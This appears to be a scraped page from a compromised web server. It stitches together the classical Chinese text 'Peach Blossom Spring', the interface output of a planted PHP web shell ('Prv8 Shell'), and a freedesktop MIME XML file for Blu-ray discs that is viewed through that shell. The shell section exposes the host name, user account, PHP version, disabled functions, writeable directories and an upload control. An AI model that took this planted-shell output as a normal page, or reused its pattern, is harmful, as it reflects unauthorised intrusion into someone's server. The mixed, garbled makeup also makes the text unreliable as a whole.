晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/x-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/x-content/video-bluray.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="x-content/video-bluray">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>Blu-ray video disc</comment>
  <comment xml:lang="ar">قرص بلو-راي مرئي</comment>
  <comment xml:lang="ast">Discu Blu-ray de videu</comment>
  <comment xml:lang="be@latin">Videadysk Blu-ray</comment>
  <comment xml:lang="bg">Blu-ray — видео</comment>
  <comment xml:lang="ca">disc de vídeo Blu-Ray</comment>
  <comment xml:lang="cs">videodisk Blu-ray</comment>
  <comment xml:lang="da">Blu-ray video-disk</comment>
  <comment xml:lang="de">Blu-ray-Videoscheibe</comment>
  <comment xml:lang="el">Δίσκος βίντεο Blu-ray</comment>
  <comment xml:lang="en_GB">Blu-ray video disc</comment>
  <comment xml:lang="es">disco de vídeo Blu-ray</comment>
  <comment xml:lang="eu">Blu-ray bideo-diskoa</comment>
  <comment xml:lang="fi">Blu-ray-videolevy</comment>
  <comment xml:lang="fo">Blu-ray diskur</comment>
  <comment xml:lang="fr">disque vidéo Blu-Ray</comment>
  <comment xml:lang="ga">diosca físe Blu-Ray</comment>
  <comment xml:lang="gl">disco de vídeo Blu-ray</comment>
  <comment xml:lang="he">תקליטור וידאו מסוג בלו־ריי</comment>
  <comment xml:lang="hr">Blu-ray video disk</comment>
  <comment xml:lang="hu">Blu-ray videolemez</comment>
  <comment xml:lang="ia">Disco video Blu-ray</comment>
  <comment xml:lang="id">Cakram video Blu-ray</comment>
  <comment xml:lang="it">Disco video Blu-ray</comment>
  <comment xml:lang="ja">Blu-ray ビデオディスク</comment>
  <comment xml:lang="ka">Blu-ray ვიდეო დისკი</comment>
  <comment xml:lang="kk">Blu-ray видео дискі</comment>
  <comment xml:lang="ko">블루레이 동영상 디스크</comment>
  <comment xml:lang="lt">Blu-ray vaizdo diskas</comment>
  <comment xml:lang="lv">Blu-ray video disks</comment>
  <comment xml:lang="nl">Blu-ray-videodisk</comment>
  <comment xml:lang="nn">Blu-Ray videoplate</comment>
  <comment xml:lang="oc">disc vidèo Blu-Ray</comment>
  <comment xml:lang="pl">Płyta wideo Blu-ray</comment>
  <comment xml:lang="pt">Blu-ray de vídeo</comment>
  <comment xml:lang="pt_BR">Disco de vídeo Blu-ray</comment>
  <comment xml:lang="ro">Disc video Blu-ray</comment>
  <comment xml:lang="ru">Видеодиск Blu-ray</comment>
  <comment xml:lang="sk">Videodisk Blu-ray</comment>
  <comment xml:lang="sl">Blu-ray video disk</comment>
  <comment xml:lang="sq">Disk video Blu-ray</comment>
  <comment xml:lang="sr">Блу-реј видео диск</comment>
  <comment xml:lang="sv">Blu-ray-videoskiva</comment>
  <comment xml:lang="tr">Blu-ray video diski</comment>
  <comment xml:lang="uk">відеодиск Blu-ray</comment>
  <comment xml:lang="vi">Đĩa ảnh động Blu-ray</comment>
  <comment xml:lang="zh_CN">蓝光视频光盘</comment>
  <comment xml:lang="zh_TW">Blu-ray 視訊光碟</comment>
</mime-type>

haha - 2025